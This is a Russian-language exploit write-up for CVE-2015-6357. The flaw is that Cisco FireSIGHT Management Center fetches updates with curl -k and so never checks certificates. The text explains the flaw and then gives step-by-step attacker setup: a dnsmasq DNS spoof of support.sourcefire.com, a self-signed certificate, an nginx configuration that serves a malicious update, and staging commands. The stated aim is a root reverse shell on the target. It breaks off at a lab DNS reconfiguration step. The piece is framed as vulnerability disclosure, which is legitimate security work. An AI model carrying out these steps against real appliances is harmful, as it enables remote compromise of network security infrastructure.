
Эксплойт для CVE-2015-6357 — уязвимость проверки сертификатов Cisco FireSIGHT Management Center
Сама по себе [уязвимость проверки сертификатов Cisco FireSIGHT Management Center][3] имеет средний уровень серьезности с CVSS 5.1. Однако эта уязвимость является примером того, почему проверка SSL-сертификатов так важна. В этом эксплойте я продемонстрирую, как уязвимость может быть использована для получения привилегированного удаленного выполнения команд на системе Cisco FireSIGHT. Эксплойт связывает уязвимость проверки SSL с процессом обновления программного обеспечения на системе Cisco FireSIGHT, чтобы обманом заставить целевую систему загрузить вредоносное обновление и выполнить его для получения обратной оболочки с привилегиями root.

Устройство Cisco FireSIGHT Management Center используется для управления системами предотвращения вторжений (IPS) Cisco FirePOWER, также известными как Sourcefire IPS. FireSIGHT отвечает за загрузку обновленных сигнатур IPS и их установку на управляемых устройствах IPS.
FireSIGHT Management Center позволяет администратору вручную инициировать обновление правил IPS или запланировать обновления ежедневно/еженедельно/ежемесячно.
Когда FireSIGHT Management Center выполняет обновление, он использует UNIX-команду curl
для загрузки с [Sourcefire Support][1]. При
вызове команды curl передается опция -k (также известная как --insecure),
которая указывает curl не проверять никакие SSL-сертификаты, представленные сервером.
Вот вывод ps сервера, загружающего обновление:
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh
Обновления FireSIGHT поступают в виде shell-скрипта, сгенерированного [makeself][2], который
содержит как команды UNIX Bourne shell, так и бинарные данные,
которые должны быть доставлены в обновлении. Эти shell-скрипты обновления выполняются
непосредственно на сервере FireSIGHT от имени локального пользователя www.
Атакующий, способный выполнить атаку «человек посередине» против сервера FireSIGHT, может заставить его подключиться к поддельной версии веб-сайта [Sourcefire Support][1] и загрузить вредоносный скрипт обновления, который выполнит любую команду, которую пожелает атакующий, на сервере FireSIGHT.
Уязвимость проверки SSL позволяет этому произойти, в результате чего система спокойно игнорирует поддельный SSL-сертификат атакующего, загружает вредоносное обновление и выполняет его.
Если бы команда curl проверяла SSL-сертификат, она бы не смогла
загрузить вредоносный скрипт и защитила бы сервер FireSIGHT от
атакующего.
Этот эксплойт демонстрирует опасность отсутствия проверки SSL-сертификата, используя уязвимость для получения удаленного выполнения команд от имени пользователя root.
Сценарий атаки предполагает, что атакующий получил возможность перехватывать
трафик от сервера FireSIGHT к веб-сайту
https://support.sourcefire.com. Самый простой способ продемонстрировать это —
настроить «скомпрометированный» DNS-сервер, который отвечает на запросы для домена
support.sourcefire.com IP-адресом веб-сервера, контролируемого атакующим.
В реальном сценарии атаки атакующий может использовать любые методы «человека посередине» для достижения той же цели. Например:
Этот эксплойт тестировался на следующих версиях виртуального устройства FireSIGHT:
В PoC ниже серверу FireSIGHT был назначен IP-адрес 192.168.1.99.
Атакующий хост работал под управлением Kali Linux 2.0, хотя описанная ниже настройка
должна работать на любом сервере на базе Debian Linux. IP-адрес хоста Kali
в примере ниже — 192.168.1.1. Хост Kali используется для запуска DNS-сервера,
а также поддельного веб-сайта [Sourcefire Support][1].
Эксплойт требует возможности подмены DNS-ответа для
support.sourcefire.com. Для обеспечения этой возможности запускается сервер dnsmasq, который
действует как «скомпрометированный» DNS-сервер.
Установите dnsmasq:
root@kali# apt-get install dnsmasq
Настройте dnsmasq:
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF
Измените IP-адрес в строке address на адрес
веб-сервера, с которого вы будете раздавать обновления.
Запустите dnsmasq:
root@kali# service dnsmasq start
Для доставки эксплойта на сервер FireSIGHT, когда он запрашивает обновление, требуется веб-сервер.
Установите веб-сервер nginx:
root@kali# apt-get install nginx
Создайте самозаверяющий сертификат для подмены support.sourcefire.com:
root@kali# mkdir /etc/nginx/ssl
root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
-out /etc/nginx/ssl/nginx.crt
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:
Настройте nginx, заменив содержимое
/etc/nginx/sites-available/default на:
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name support.sourcefire.com;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
location / {
try_files $uri $uri/ =404;
}
# rewrite requests that contain the clients license key
location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
}
location /auto-update {
root /var/www/html/firepwner;
}
}
Запустите nginx:
root@kali# service nginx start
Эксплойт FirePWNER требует, чтобы с веб-сервера раздавались два файла. Первый файл — это манифест обновления, XML-файл, содержащий список доступных обновлений, их местоположение для загрузки и MD5-хэши.
Сначала нужно создать несколько каталогов:
root@kali# mkdir \
/var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}
Затем скопируйте файлы эксплойта в них:
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
/var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh
После копирования этих файлов вы должны иметь возможность перейти по адресу
http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml
Далее, для целей демонстрации эксплойта, сервер FireSIGHT необходимо настроить на
использование «скомпрометированного» DNS-сервера. Войдите в веб-портал FireSIGHT и перейдите в
System > Local > Configure > Management Interfaces, установите Primary DNS server на
IP-адрес «скомпрометированного» DNS-сервера (192.168.1.1) и сохраните изменение.